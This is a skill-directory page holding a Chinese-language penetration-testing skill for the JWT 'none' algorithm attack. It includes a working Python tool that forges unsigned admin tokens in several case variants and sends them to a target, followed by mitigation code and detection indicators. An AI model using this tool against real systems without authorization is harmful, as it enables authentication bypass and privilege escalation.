L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

performing-jwt-none-algorithm-attack

performing-jwt-none-algorithm-attack

通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-jwt-none-algorithm-attack description: 通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。 domain: cybersecurity subdomain: api-security tags: [jwt, none-algorithm, authentication-bypass, token-manipulation, signature-bypass, penetration-testing, owasp, web-security] version: "1.0" author: mahipal license: Apache-2.0

执行 JWT None 算法攻击

概述

JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。

前置条件

  • 使用 JWT 进行认证或授权的目标应用
  • 能够拦截和修改 HTTP 请求(Burp Suite、mitmproxy)
  • Python 3.8+ 及 PyJWT 库,用于令牌构造
  • 了解 JWT 结构(Header.Payload.Signature)
  • 对目标执行安全测试的授权

JWT 结构

JWT 由三个以点分隔的 Base64URL 编码部分组成:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # 签名(Signature)

攻击方法

步骤 1:捕获有效的 JWT

使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

步骤 2:解码并分析令牌

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出:{'alg': 'HS256', 'typ': 'JWT'}

# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出:{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

步骤 3:构造使用 None 算法的伪造令牌

#!/usr/bin/env python3
"""JWT None 算法攻击工具

通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # 'none' 算法值的所有已知变体
    NONE_VARIANTS = [
        "none", "None", "NONE", "nOnE",
        "noNe", "NoNe", "nONE", "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """使用 none 算法和修改后的载荷构造 JWT。"""
        # 创建使用 none 算法的头部
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # 编码修改后的载荷
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # 带空签名的令牌(仅有末尾的点)
        return f"{header_encoded}.{payload_encoded}."

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """对目标测试所有 none 算法变体。"""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant, "status_code": 0,
                    "accepted": False, "error": str(e)
                })

        return results

步骤 4:额外的 JWT 攻击变体

算法混淆攻击(RS256 转 HS256):

如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:

  1. 将 alg 改为 HS256
  2. 使用公钥作为 HMAC 密钥对令牌签名
  3. 服务器可能用其公钥作为 HMAC 密钥验证签名

JWK 头部注入(CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<攻击者控制的密钥>",
    "e": "AQAB"
  }
}

缓解策略

# 安全的 JWT 验证——始终指定允许的算法
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """使用显式算法白名单验证 JWT。"""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # 关键:显式白名单
            options={
                "require": ["exp", "iat", "sub"],  # 必需声明
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("无效的令牌算法")
    except jwt.ExpiredSignatureError:
        raise ValueError("令牌已过期")
    except jwt.InvalidTokenError:
        raise ValueError("无效的令牌")

检测指标

  • 服务器日志中带有 "alg": "none"(或大小写变体)的 JWT 令牌
  • 签名段为空或缺失的令牌
  • 算法字段相对正常模式的突然变化
  • 同一会话中带有修改声明(角色提升)的令牌
  • Authorization 头部包含只有两个 Base64 段的令牌

参考资料

  • OWASP JWT 测试指南
  • PortSwigger JWT None 算法
  • HackTricks JWT 漏洞
Skills enregistrées